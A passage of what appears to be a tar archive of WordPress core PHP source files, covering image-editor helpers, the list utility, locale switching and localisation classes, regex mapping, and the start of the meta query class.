) { if ( ! wp_is_stream( $dest_path ) ) { $_dest_path = realpath( $dest_path ); if ( $_dest_path ) { $dir = $_dest_path; } } else { $dir = $dest_path; } } return trailingslashit( $dir ) . "{$name}-{$suffix}.{$new_ext}"; } /** * Builds and returns proper suffix for file based on height and width. * * @since 3.5.0 * * @return string|false suffix */ public function get_suffix() { if ( ! $this->get_size() ) { return false; } return "{$this->size['width']}x{$this->size['height']}"; } /** * Check if a JPEG image has EXIF Orientation tag and rotate it if needed. * * @since 5.3.0 * * @return bool|WP_Error True if the image was rotated. False if not rotated (no EXIF data or the image doesn't need to be rotated). * WP_Error if error while rotating. */ public function maybe_exif_rotate() { $orientation = null; if ( is_callable( 'exif_read_data' ) && 'image/jpeg' === $this->mime_type ) { $exif_data = @exif_read_data( $this->file ); if ( ! empty( $exif_data['Orientation'] ) ) { $orientation = (int) $exif_data['Orientation']; } } /** * Filters the `$orientation` value to correct it before rotating or to prevemnt rotating the image. * * @since 5.3.0 * * @param int $orientation EXIF Orientation value as retrieved from the image file. * @param string $file Path to the image file. */ $orientation = apply_filters( 'wp_image_maybe_exif_rotate', $orientation, $this->file ); if ( ! $orientation || 1 === $orientation ) { return false; } switch ( $orientation ) { case 2: // Flip horizontally. $result = $this->flip( true, false ); break; case 3: // Rotate 180 degrees or flip horizontally and vertically. // Flipping seems faster and uses less resources. $result = $this->flip( true, true ); break; case 4: // Flip vertically. $result = $this->flip( false, true ); break; case 5: // Rotate 90 degrees counter-clockwise and flip vertically. $result = $this->rotate( 90 ); if ( ! is_wp_error( $result ) ) { $result = $this->flip( false, true ); } break; case 6: // Rotate 90 degrees clockwise (270 counter-clockwise). $result = $this->rotate( 270 ); break; case 7: // Rotate 90 degrees counter-clockwise and flip horizontally. $result = $this->rotate( 90 ); if ( ! is_wp_error( $result ) ) { $result = $this->flip( true, false ); } break; case 8: // Rotate 90 degrees counter-clockwise. $result = $this->rotate( 90 ); break; } return $result; } /** * Either calls editor's save function or handles file as a stream. * * @since 3.5.0 * * @param string|stream $filename * @param callable $function * @param array $arguments * @return bool */ protected function make_image( $filename, $function, $arguments ) { $stream = wp_is_stream( $filename ); if ( $stream ) { ob_start(); } else { // The directory containing the original file may no longer exist when using a replication plugin. wp_mkdir_p( dirname( $filename ) ); } $result = call_user_func_array( $function, $arguments ); if ( $result && $stream ) { $contents = ob_get_contents(); $fp = fopen( $filename, 'w' ); if ( ! $fp ) { ob_end_clean(); return false; } fwrite( $fp, $contents ); fclose( $fp ); } if ( $stream ) { ob_end_clean(); } return $result; } /** * Returns first matched mime-type from extension, * as mapped from wp_get_mime_types() * * @since 3.5.0 * * @param string $extension * @return string|false */ protected static function get_mime_type( $extension = null ) { if ( ! $extension ) { return false; } $mime_types = wp_get_mime_types(); $extensions = array_keys( $mime_types ); foreach ( $extensions as $_extension ) { if ( preg_match( "/{$extension}/i", $_extension ) ) { return $mime_types[ $_extension ]; } } return false; } /** * Returns first matched extension from Mime-type, * as mapped from wp_get_mime_types() * * @since 3.5.0 * * @param string $mime_type * @return string|false */ protected static function get_extension( $mime_type = null ) { $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) ); if ( empty( $extensions[0] ) ) { return false; } return $extensions[0]; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-list-util.php������������������������������������������������������������������������������0000644�����������������00000014727�15120262030�0010734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress List utility class * * @package WordPress * @since 4.7.0 */ /** * List utility. * * Utility class to handle operations on an array of objects. * * @since 4.7.0 */ class WP_List_Util { /** * The input array. * * @since 4.7.0 * @var array */ private $input = array(); /** * The output array. * * @since 4.7.0 * @var array */ private $output = array(); /** * Temporary arguments for sorting. * * @since 4.7.0 * @var array */ private $orderby = array(); /** * Constructor. * * Sets the input array. * * @since 4.7.0 * * @param array $input Array to perform operations on. */ public function __construct( $input ) { $this->output = $input; $this->input = $input; } /** * Returns the original input array. * * @since 4.7.0 * * @return array The input array. */ public function get_input() { return $this->input; } /** * Returns the output array. * * @since 4.7.0 * * @return array The output array. */ public function get_output() { return $this->output; } /** * Filters the list, based on a set of key => value arguments. * * @since 4.7.0 * * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ public function filter( $args = array(), $operator = 'AND' ) { if ( empty( $args ) ) { return $this->output; } $operator = strtoupper( $operator ); if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) { return array(); } $count = count( $args ); $filtered = array(); foreach ( $this->output as $key => $obj ) { $matched = 0; foreach ( $args as $m_key => $m_value ) { if ( is_array( $obj ) ) { // Treat object as an array. if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) { $matched++; } } elseif ( is_object( $obj ) ) { // Treat object as an object. if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) { $matched++; } } } if ( ( 'AND' === $operator && $matched === $count ) || ( 'OR' === $operator && $matched > 0 ) || ( 'NOT' === $operator && 0 === $matched ) ) { $filtered[ $key ] = $obj; } } $this->output = $filtered; return $this->output; } /** * Plucks a certain field out of each object in the list. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 4.7.0 * * @param int|string $field Field from the object to place instead of the entire object * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ public function pluck( $field, $index_key = null ) { $newlist = array(); if ( ! $index_key ) { /* * This is simple. Could at some point wrap array_column() * if we knew we had an array of arrays. */ foreach ( $this->output as $key => $value ) { if ( is_object( $value ) ) { $newlist[ $key ] = $value->$field; } else { $newlist[ $key ] = $value[ $field ]; } } $this->output = $newlist; return $this->output; } /* * When index_key is not set for a particular item, push the value * to the end of the stack. This is how array_column() behaves. */ foreach ( $this->output as $value ) { if ( is_object( $value ) ) { if ( isset( $value->$index_key ) ) { $newlist[ $value->$index_key ] = $value->$field; } else { $newlist[] = $value->$field; } } else { if ( isset( $value[ $index_key ] ) ) { $newlist[ $value[ $index_key ] ] = $value[ $field ]; } else { $newlist[] = $value[ $field ]; } } } $this->output = $newlist; return $this->output; } /** * Sorts the list, based on one or more orderby arguments. * * @since 4.7.0 * * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( empty( $orderby ) ) { return $this->output; } if ( is_string( $orderby ) ) { $orderby = array( $orderby => $order ); } foreach ( $orderby as $field => $direction ) { $orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC'; } $this->orderby = $orderby; if ( $preserve_keys ) { uasort( $this->output, array( $this, 'sort_callback' ) ); } else { usort( $this->output, array( $this, 'sort_callback' ) ); } $this->orderby = array(); return $this->output; } /** * Callback to sort the list by specific fields. * * @since 4.7.0 * * @see WP_List_Util::sort() * * @param object|array $a One object to compare. * @param object|array $b The other object to compare. * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise. */ private function sort_callback( $a, $b ) { if ( empty( $this->orderby ) ) { return 0; } $a = (array) $a; $b = (array) $b; foreach ( $this->orderby as $field => $direction ) { if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) { continue; } if ( $a[ $field ] == $b[ $field ] ) { continue; } $results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 ); if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) { return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1]; } return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1]; } return 0; } } �����������������������������������������class-wp-locale-switcher.php������������������������������������������������������������������������0000644�����������������00000011636�15120262030�0012067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Locale API: WP_Locale_Switcher class * * @package WordPress * @subpackage i18n * @since 4.7.0 */ /** * Core class used for switching locales. * * @since 4.7.0 */ class WP_Locale_Switcher { /** * Locale stack. * * @since 4.7.0 * @var string[] */ private $locales = array(); /** * Original locale. * * @since 4.7.0 * @var string */ private $original_locale; /** * Holds all available languages. * * @since 4.7.0 * @var array An array of language codes (file names without the .mo extension). */ private $available_languages = array(); /** * Constructor. * * Stores the original locale as well as a list of all available languages. * * @since 4.7.0 */ public function __construct() { $this->original_locale = determine_locale(); $this->available_languages = array_merge( array( 'en_US' ), get_available_languages() ); } /** * Initializes the locale switcher. * * Hooks into the {@see 'locale'} filter to change the locale on the fly. * * @since 4.7.0 */ public function init() { add_filter( 'locale', array( $this, 'filter_locale' ) ); } /** * Switches the translations according to the given locale. * * @since 4.7.0 * * @param string $locale The locale to switch to. * @return bool True on success, false on failure. */ public function switch_to_locale( $locale ) { $current_locale = determine_locale(); if ( $current_locale === $locale ) { return false; } if ( ! in_array( $locale, $this->available_languages, true ) ) { return false; } $this->locales[] = $locale; $this->change_locale( $locale ); /** * Fires when the locale is switched. * * @since 4.7.0 * * @param string $locale The new locale. */ do_action( 'switch_locale', $locale ); return true; } /** * Restores the translations according to the previous locale. * * @since 4.7.0 * * @return string|false Locale on success, false on failure. */ public function restore_previous_locale() { $previous_locale = array_pop( $this->locales ); if ( null === $previous_locale ) { // The stack is empty, bail. return false; } $locale = end( $this->locales ); if ( ! $locale ) { // There's nothing left in the stack: go back to the original locale. $locale = $this->original_locale; } $this->change_locale( $locale ); /** * Fires when the locale is restored to the previous one. * * @since 4.7.0 * * @param string $locale The new locale. * @param string $previous_locale The previous locale. */ do_action( 'restore_previous_locale', $locale, $previous_locale ); return $locale; } /** * Restores the translations according to the original locale. * * @since 4.7.0 * * @return string|false Locale on success, false on failure. */ public function restore_current_locale() { if ( empty( $this->locales ) ) { return false; } $this->locales = array( $this->original_locale ); return $this->restore_previous_locale(); } /** * Whether switch_to_locale() is in effect. * * @since 4.7.0 * * @return bool True if the locale has been switched, false otherwise. */ public function is_switched() { return ! empty( $this->locales ); } /** * Filters the locale of the WordPress installation. * * @since 4.7.0 * * @param string $locale The locale of the WordPress installation. * @return string The locale currently being switched to. */ public function filter_locale( $locale ) { $switched_locale = end( $this->locales ); if ( $switched_locale ) { return $switched_locale; } return $locale; } /** * Load translations for a given locale. * * When switching to a locale, translations for this locale must be loaded from scratch. * * @since 4.7.0 * * @global Mo[] $l10n An array of all currently loaded text domains. * * @param string $locale The locale to load translations for. */ private function load_translations( $locale ) { global $l10n; $domains = $l10n ? array_keys( $l10n ) : array(); load_default_textdomain( $locale ); foreach ( $domains as $domain ) { if ( 'default' === $domain ) { continue; } unload_textdomain( $domain ); get_translations_for_domain( $domain ); } } /** * Changes the site's locale to the given one. * * Loads the translations, changes the global `$wp_locale` object and updates * all post type labels. * * @since 4.7.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $locale The locale to change to. */ private function change_locale( $locale ) { // Reset translation availability information. _get_path_to_translation( null, true ); $this->load_translations( $locale ); $GLOBALS['wp_locale'] = new WP_Locale(); /** * Fires when the locale is switched to or restored. * * @since 4.7.0 * * @param string $locale The new locale. */ do_action( 'change_locale', $locale ); } } ��������������������������������������������������������������������������������������������������class-wp-locale.php���������������������������������������������������������������������������������0000644�����������������00000033236�15120262030�0010241 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Locale API: WP_Locale class * * @package WordPress * @subpackage i18n * @since 4.6.0 */ /** * Core class used to store translated data for a locale. * * @since 2.1.0 * @since 4.6.0 Moved to its own file from wp-includes/locale.php. */ class WP_Locale { /** * Stores the translated strings for the full weekday names. * * @since 2.1.0 * @var array */ public $weekday; /** * Stores the translated strings for the one character weekday names. * * There is a hack to make sure that Tuesday and Thursday, as well * as Sunday and Saturday, don't conflict. See init() method for more. * * @see WP_Locale::init() for how to handle the hack. * * @since 2.1.0 * @var array */ public $weekday_initial; /** * Stores the translated strings for the abbreviated weekday names. * * @since 2.1.0 * @var array */ public $weekday_abbrev; /** * Stores the translated strings for the full month names. * * @since 2.1.0 * @var array */ public $month; /** * Stores the translated strings for the month names in genitive case, if the locale specifies. * * @since 4.4.0 * @var array */ public $month_genitive; /** * Stores the translated strings for the abbreviated month names. * * @since 2.1.0 * @var array */ public $month_abbrev; /** * Stores the translated strings for 'am' and 'pm'. * * Also the capitalized versions. * * @since 2.1.0 * @var array */ public $meridiem; /** * The text direction of the locale language. * * Default is left to right 'ltr'. * * @since 2.1.0 * @var string */ public $text_direction = 'ltr'; /** * The thousands separator and decimal point values used for localizing numbers. * * @since 2.3.0 * @var array */ public $number_format; /** * Constructor which calls helper methods to set up object variables. * * @since 2.1.0 */ public function __construct() { $this->init(); $this->register_globals(); } /** * Sets up the translated strings and object properties. * * The method creates the translatable strings for various * calendar elements. Which allows for specifying locale * specific calendar names and text direction. * * @since 2.1.0 * * @global string $text_direction * @global string $wp_version The WordPress version string. */ public function init() { // The weekdays. $this->weekday[0] = /* translators: Weekday. */ __( 'Sunday' ); $this->weekday[1] = /* translators: Weekday. */ __( 'Monday' ); $this->weekday[2] = /* translators: Weekday. */ __( 'Tuesday' ); $this->weekday[3] = /* translators: Weekday. */ __( 'Wednesday' ); $this->weekday[4] = /* translators: Weekday. */ __( 'Thursday' ); $this->weekday[5] = /* translators: Weekday. */ __( 'Friday' ); $this->weekday[6] = /* translators: Weekday. */ __( 'Saturday' ); // The first letter of each day. $this->weekday_initial[ __( 'Sunday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'S', 'Sunday initial' ); $this->weekday_initial[ __( 'Monday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'M', 'Monday initial' ); $this->weekday_initial[ __( 'Tuesday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'T', 'Tuesday initial' ); $this->weekday_initial[ __( 'Wednesday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'W', 'Wednesday initial' ); $this->weekday_initial[ __( 'Thursday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'T', 'Thursday initial' ); $this->weekday_initial[ __( 'Friday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'F', 'Friday initial' ); $this->weekday_initial[ __( 'Saturday' ) ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'S', 'Saturday initial' ); // Abbreviations for each day. $this->weekday_abbrev[ __( 'Sunday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Sun' ); $this->weekday_abbrev[ __( 'Monday' ) ] = /* translators: Ttree-letter abbreviation of the weekday. */ __( 'Mon' ); $this->weekday_abbrev[ __( 'Tuesday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Tue' ); $this->weekday_abbrev[ __( 'Wednesday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Wed' ); $this->weekday_abbrev[ __( 'Thursday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Thu' ); $this->weekday_abbrev[ __( 'Friday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Fri' ); $this->weekday_abbrev[ __( 'Saturday' ) ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Sat' ); // The months. $this->month['01'] = /* translators: Month name. */ __( 'January' ); $this->month['02'] = /* translators: Month name. */ __( 'February' ); $this->month['03'] = /* translators: Month name. */ __( 'March' ); $this->month['04'] = /* translators: Month name. */ __( 'April' ); $this->month['05'] = /* translators: Month name. */ __( 'May' ); $this->month['06'] = /* translators: Month name. */ __( 'June' ); $this->month['07'] = /* translators: Month name. */ __( 'July' ); $this->month['08'] = /* translators: Month name. */ __( 'August' ); $this->month['09'] = /* translators: Month name. */ __( 'September' ); $this->month['10'] = /* translators: Month name. */ __( 'October' ); $this->month['11'] = /* translators: Month name. */ __( 'November' ); $this->month['12'] = /* translators: Month name. */ __( 'December' ); // The months, genitive. $this->month_genitive['01'] = /* translators: Month name, genitive. */ _x( 'January', 'genitive' ); $this->month_genitive['02'] = /* translators: Month name, genitive. */ _x( 'February', 'genitive' ); $this->month_genitive['03'] = /* translators: Month name, genitive. */ _x( 'March', 'genitive' ); $this->month_genitive['04'] = /* translators: Month name, genitive. */ _x( 'April', 'genitive' ); $this->month_genitive['05'] = /* translators: Month name, genitive. */ _x( 'May', 'genitive' ); $this->month_genitive['06'] = /* translators: Month name, genitive. */ _x( 'June', 'genitive' ); $this->month_genitive['07'] = /* translators: Month name, genitive. */ _x( 'July', 'genitive' ); $this->month_genitive['08'] = /* translators: Month name, genitive. */ _x( 'August', 'genitive' ); $this->month_genitive['09'] = /* translators: Month name, genitive. */ _x( 'September', 'genitive' ); $this->month_genitive['10'] = /* translators: Month name, genitive. */ _x( 'October', 'genitive' ); $this->month_genitive['11'] = /* translators: Month name, genitive. */ _x( 'November', 'genitive' ); $this->month_genitive['12'] = /* translators: Month name, genitive. */ _x( 'December', 'genitive' ); // Abbreviations for each month. $this->month_abbrev[ __( 'January' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jan', 'January abbreviation' ); $this->month_abbrev[ __( 'February' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Feb', 'February abbreviation' ); $this->month_abbrev[ __( 'March' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Mar', 'March abbreviation' ); $this->month_abbrev[ __( 'April' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Apr', 'April abbreviation' ); $this->month_abbrev[ __( 'May' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'May', 'May abbreviation' ); $this->month_abbrev[ __( 'June' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jun', 'June abbreviation' ); $this->month_abbrev[ __( 'July' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jul', 'July abbreviation' ); $this->month_abbrev[ __( 'August' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Aug', 'August abbreviation' ); $this->month_abbrev[ __( 'September' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Sep', 'September abbreviation' ); $this->month_abbrev[ __( 'October' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Oct', 'October abbreviation' ); $this->month_abbrev[ __( 'November' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Nov', 'November abbreviation' ); $this->month_abbrev[ __( 'December' ) ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Dec', 'December abbreviation' ); // The meridiems. $this->meridiem['am'] = __( 'am' ); $this->meridiem['pm'] = __( 'pm' ); $this->meridiem['AM'] = __( 'AM' ); $this->meridiem['PM'] = __( 'PM' ); // Numbers formatting. // See https://www.php.net/number_format /* translators: $thousands_sep argument for https://www.php.net/number_format, default is ',' */ $thousands_sep = __( 'number_format_thousands_sep' ); // Replace space with a non-breaking space to avoid wrapping. $thousands_sep = str_replace( ' ', ' ', $thousands_sep ); $this->number_format['thousands_sep'] = ( 'number_format_thousands_sep' === $thousands_sep ) ? ',' : $thousands_sep; /* translators: $dec_point argument for https://www.php.net/number_format, default is '.' */ $decimal_point = __( 'number_format_decimal_point' ); $this->number_format['decimal_point'] = ( 'number_format_decimal_point' === $decimal_point ) ? '.' : $decimal_point; // Set text direction. if ( isset( $GLOBALS['text_direction'] ) ) { $this->text_direction = $GLOBALS['text_direction']; /* translators: 'rtl' or 'ltr'. This sets the text direction for WordPress. */ } elseif ( 'rtl' === _x( 'ltr', 'text direction' ) ) { $this->text_direction = 'rtl'; } } /** * Retrieve the full translated weekday word. * * Week starts on translated Sunday and can be fetched * by using 0 (zero). So the week starts with 0 (zero) * and ends on Saturday with is fetched by using 6 (six). * * @since 2.1.0 * * @param int $weekday_number 0 for Sunday through 6 Saturday. * @return string Full translated weekday. */ public function get_weekday( $weekday_number ) { return $this->weekday[ $weekday_number ]; } /** * Retrieve the translated weekday initial. * * The weekday initial is retrieved by the translated * full weekday word. When translating the weekday initial * pay attention to make sure that the starting letter does * not conflict. * * @since 2.1.0 * * @param string $weekday_name Full translated weekday word. * @return string Translated weekday initial. */ public function get_weekday_initial( $weekday_name ) { return $this->weekday_initial[ $weekday_name ]; } /** * Retrieve the translated weekday abbreviation. * * The weekday abbreviation is retrieved by the translated * full weekday word. * * @since 2.1.0 * * @param string $weekday_name Full translated weekday word. * @return string Translated weekday abbreviation. */ public function get_weekday_abbrev( $weekday_name ) { return $this->weekday_abbrev[ $weekday_name ]; } /** * Retrieve the full translated month by month number. * * The $month_number parameter has to be a string * because it must have the '0' in front of any number * that is less than 10. Starts from '01' and ends at * '12'. * * You can use an integer instead and it will add the * '0' before the numbers less than 10 for you. * * @since 2.1.0 * * @param string|int $month_number '01' through '12'. * @return string Translated full month name. */ public function get_month( $month_number ) { return $this->month[ zeroise( $month_number, 2 ) ]; } /** * Retrieve translated version of month abbreviation string. * * The $month_name parameter is expected to be the translated or * translatable version of the month. * * @since 2.1.0 * * @param string $month_name Translated month to get abbreviated version. * @return string Translated abbreviated month. */ public function get_month_abbrev( $month_name ) { return $this->month_abbrev[ $month_name ]; } /** * Retrieve translated version of meridiem string. * * The $meridiem parameter is expected to not be translated. * * @since 2.1.0 * * @param string $meridiem Either 'am', 'pm', 'AM', or 'PM'. Not translated version. * @return string Translated version */ public function get_meridiem( $meridiem ) { return $this->meridiem[ $meridiem ]; } /** * Global variables are deprecated. * * For backward compatibility only. * * @deprecated For backward compatibility only. * * @global array $weekday * @global array $weekday_initial * @global array $weekday_abbrev * @global array $month * @global array $month_abbrev * * @since 2.1.0 */ public function register_globals() { $GLOBALS['weekday'] = $this->weekday; $GLOBALS['weekday_initial'] = $this->weekday_initial; $GLOBALS['weekday_abbrev'] = $this->weekday_abbrev; $GLOBALS['month'] = $this->month; $GLOBALS['month_abbrev'] = $this->month_abbrev; } /** * Checks if current locale is RTL. * * @since 3.0.0 * @return bool Whether locale is RTL. */ public function is_rtl() { return 'rtl' === $this->text_direction; } /** * Register date/time format strings for general POT. * * Private, unused method to add some date/time formats translated * on wp-admin/options-general.php to the general POT that would * otherwise be added to the admin POT. * * @since 3.6.0 */ public function _strings_for_pot() { /* translators: Localized date format, see https://www.php.net/manual/datetime.format.php */ __( 'F j, Y' ); /* translators: Localized time format, see https://www.php.net/manual/datetime.format.php */ __( 'g:i a' ); /* translators: Localized date and time format, see https://www.php.net/manual/datetime.format.php */ __( 'F j, Y g:i a' ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-matchesmapregex.php������������������������������������������������������������������������0000644�����������������00000003410�15120262030�0012146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_MatchesMapRegex helper class * * @package WordPress * @since 4.7.0 */ /** * Helper class to remove the need to use eval to replace $matches[] in query strings. * * @since 2.9.0 */ class WP_MatchesMapRegex { /** * store for matches * * @var array */ private $_matches; /** * store for mapping result * * @var string */ public $output; /** * subject to perform mapping on (query string containing $matches[] references * * @var string */ private $_subject; /** * regexp pattern to match $matches[] references * * @var string */ public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // Magic number. /** * constructor * * @param string $subject subject if regex * @param array $matches data to use in map */ public function __construct( $subject, $matches ) { $this->_subject = $subject; $this->_matches = $matches; $this->output = $this->_map(); } /** * Substitute substring matches in subject. * * static helper function to ease use * * @param string $subject subject * @param array $matches data used for substitution * @return string */ public static function apply( $subject, $matches ) { $oSelf = new WP_MatchesMapRegex( $subject, $matches ); return $oSelf->output; } /** * do the actual mapping * * @return string */ private function _map() { $callback = array( $this, 'callback' ); return preg_replace_callback( $this->_pattern, $callback, $this->_subject ); } /** * preg_replace_callback hook * * @param array $matches preg_replace regexp matches * @return string */ public function callback( $matches ) { $index = (int) substr( $matches[0], 9, -1 ); return ( isset( $this->_matches[ $index ] ) ? urlencode( $this->_matches[ $index ] ) : '' ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-meta-query.php�����������������������������������������������������������������������������0000644�����������������00000066300�15120262030�0011071 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Meta API: WP_Meta_Query class * * @package WordPress * @subpackage Meta * @since 4.4.0 */ /** * Core class used to implement meta queries for the Meta API. * * Used for generating SQL clauses that filter a primary query according to metadata keys and values. * * WP_Meta_Query is a helper that allows primary query classes, such as WP_Query and WP_User_Query, * * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached * to the primary SQL query string. * * @since 3.2.0 */ class WP_Meta_Query { /** * Array of metadata queries. * * See WP_Meta_Query::__construct() for information on meta query arguments. * * @since 3.2.0 * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.2.0 * @var string */ public $relation; /** * Database table to query for the metadata. * * @since 4.1.0 * @var string */ public $meta_table; /** * Column in meta_table that represents the ID of the object the metadata belongs to. * * @since 4.1.0 * @var string */ public $meta_id_column; /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in primary_table that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * A flat list of table aliases used in JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * A flat list of clauses, keyed by clause 'name'. * * @since 4.2.0 * @var array */ protected $clauses = array(); /** * Whether the query contains any OR relations. * * @since 4.3.0 * @var bool */ protected $has_or_relation = false; /** * Constructor. * * @since 3.2.0 * @since 4.2.0 Introduced support for naming query clauses by associative array keys. * @since 5.1.0 Introduced $compare_key clause parameter, which enables LIKE key matches. * @since 5.3.0 Increased the number of operators available to $compare_key. Introduced $type_key, * which enables the $key to be cast to a new data type for comparisons. * * @param array $meta_query { * Array of meta query clauses. When first-order clauses or sub-clauses use strings as * their array keys, they may be referenced in the 'orderby' parameter of the parent query. * * @type string $relation Optional. The MySQL keyword used to join * the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed meta query. * * @type string $key Meta key to filter by. * @type string $compare_key MySQL operator used for comparing the $key. Accepts '=', '!=' * 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'REGEXP', 'NOT REGEXP', 'RLIKE', * 'EXISTS' (alias of '=') or 'NOT EXISTS' (alias of '!='). * Default is 'IN' when `$key` is an array, '=' otherwise. * @type string $type_key MySQL data type that the meta_key column will be CAST to for * comparisons. Accepts 'BINARY' for case-sensitive regular expression * comparisons. Default is ''. * @type string $value Meta value to filter by. * @type string $compare MySQL operator used for comparing the $value. Accepts '=', * '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', * 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'REGEXP', * 'NOT REGEXP', 'RLIKE', 'EXISTS' or 'NOT EXISTS'. * Default is 'IN' when `$value` is an array, '=' otherwise. * @type string $type MySQL data type that the meta_value column will be CAST to for * comparisons. Accepts 'NUMERIC', 'BINARY', 'CHAR', 'DATE', * 'DATETIME', 'DECIMAL', 'SIGNED', 'TIME', or 'UNSIGNED'. * Default is 'CHAR'. * } * } */ public function __construct( $meta_query = false ) { if ( ! $meta_query ) { return; } if ( isset( $meta_query['relation'] ) && 'OR' === strtoupper( $meta_query['relation'] ) ) { $this->relation = 'OR'; } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $meta_query ); } /** * Ensure the 'meta_query' argument passed to the class constructor is well-formed. * * Eliminates empty items and ensures that a 'relation' is set. * * @since 4.1.0 * * @param array $queries Array of query clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $clean_queries = array(); if ( ! is_array( $queries ) ) { return $clean_queries; } foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $relation = $query; } elseif ( ! is_array( $query ) ) { continue; // First-order clause. } elseif ( $this->is_first_order_clause( $query ) ) { if ( isset( $query['value'] ) && array() === $query['value'] ) { unset( $query['value'] ); } $clean_queries[ $key ] = $query; // Otherwise, it's a nested query, so we recurse. } else { $cleaned_query = $this->sanitize_query( $query ); if ( ! empty( $cleaned_query ) ) { $clean_queries[ $key ] = $cleaned_query; } } } if ( empty( $clean_queries ) ) { return $clean_queries; } // Sanitize the 'relation' key provided in the query. if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) { $clean_queries['relation'] = 'OR'; $this->has_or_relation = true; /* * If there is only a single clause, call the relation 'OR'. * This value will not actually be used to join clauses, but it * simplifies the logic around combining key-only queries. */ } elseif ( 1 === count( $clean_queries ) ) { $clean_queries['relation'] = 'OR'; // Default to AND. } else { $clean_queries['relation'] = 'AND'; } return $clean_queries; } /** * Determine whether a query clause is first-order. * * A first-order meta query clause is one that has either a 'key' or * a 'value' array key. * * @since 4.1.0 * * @param array $query Meta query arguments. * @return bool Whether the query clause is a first-order clause. */ protected function is_first_order_clause( $query ) { return isset( $query['key'] ) || isset( $query['value'] ); } /** * Constructs a meta query based on 'meta_*' query vars * * @since 3.2.0 * * @param array $qv The query variables */ public function parse_query_vars( $qv ) { $meta_query = array(); /* * For orderby=meta_value to work correctly, simple query 